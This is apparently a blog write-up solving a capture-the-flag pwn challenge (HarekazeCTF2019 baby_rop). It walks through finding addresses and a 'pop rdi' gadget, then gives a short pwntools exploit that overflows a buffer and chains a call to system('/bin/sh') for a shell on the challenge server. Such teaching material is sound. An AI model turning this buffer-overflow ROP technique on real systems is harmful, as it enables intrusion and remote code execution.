[BUUCTF]PWN17——[HarekazeCTF2019]baby_rop

附件

步骤:
例行检查,64位,开启了NX保护

试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错


64位ida载入,shift+f12查看程序里的字符串,看到了system 和 ‘/bin/sh’

双击跟进,ctrl+x查看一下哪里调用了字符串,没有找到函数,只找到了地址
shell=0x601048

system=0x400496


找到输入点,没有限制v4读入的数据,可以造成溢出,跟pwn16差不多,唯一的区别就是64位程序传参需要用到寄存器,我们找一下设置rdi寄存器的位置

ROPgadget --binary babyrop |grep "pop rdi"

rdi=0x400683

EXP:

from pwn import*

r=remote('node3.buuoj.cn',25853)

shell=0x601048
system=0x400496
rdi=0x400683 payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system) r.sendline(payload)
r.interactive()

flag不在根目录下,需要我们找一下,利用find -name flag找一下

最新文章

  1. dll 日志文件 放在同一个目录。
  2. js注册读秒进度条
  3. 8 个最棒的 .NET 开发相关工具
  4. Oracle数据库查看执行计划
  5. wechat客户端修改
  6. 重操JS旧业第十弹:闭包
  7. 用微软makecert.exe生成一个自签名的证书
  8. html5表单和伪类
  9. Centos6搭建vsftpd
  10. 页面布局 ——图片自动按比例显示&&图片随外部div的增大而按比例增大
  11. POJ3074 Sudoku 舞蹈链 DLX
  12. iptables转发技术
  13. Docker 搭建私有仓库
  14. nginx日志格式字段
  15. saltStack的event接口通过mysql数据库接收SaltStack批量管理日志
  16. Libre 6007 「网络流 24 题」方格取数 / Luogu 2774 方格取数问题 (网络流,最大流)
  17. C#编写中使用预编译指令代替不停的注释
  18. Python: 正则表达式中的group()
  19. 最简单的rman操作
  20. 食物链_KEY

热门文章

  1. [hdu7044]Fall with Fake Problem
  2. [loj3366]嘉年华奖券
  3. 浅讲.Net 6之ConfigurationManager
  4. airTest小程序自动化踩坑记(android设备)
  5. 反调试代码调试死机代码禁止F12代码
  6. jpa生成uuid
  7. Mybatis类型转换BUG
  8. Redis 持久化方案
  9. [R] 添加误差棒的分组折线图:geom_path: Each group consists of only one observation. Do you need to adjust the...
  10. Docker-Mysql-proxy Mysql Proxy实现读写分离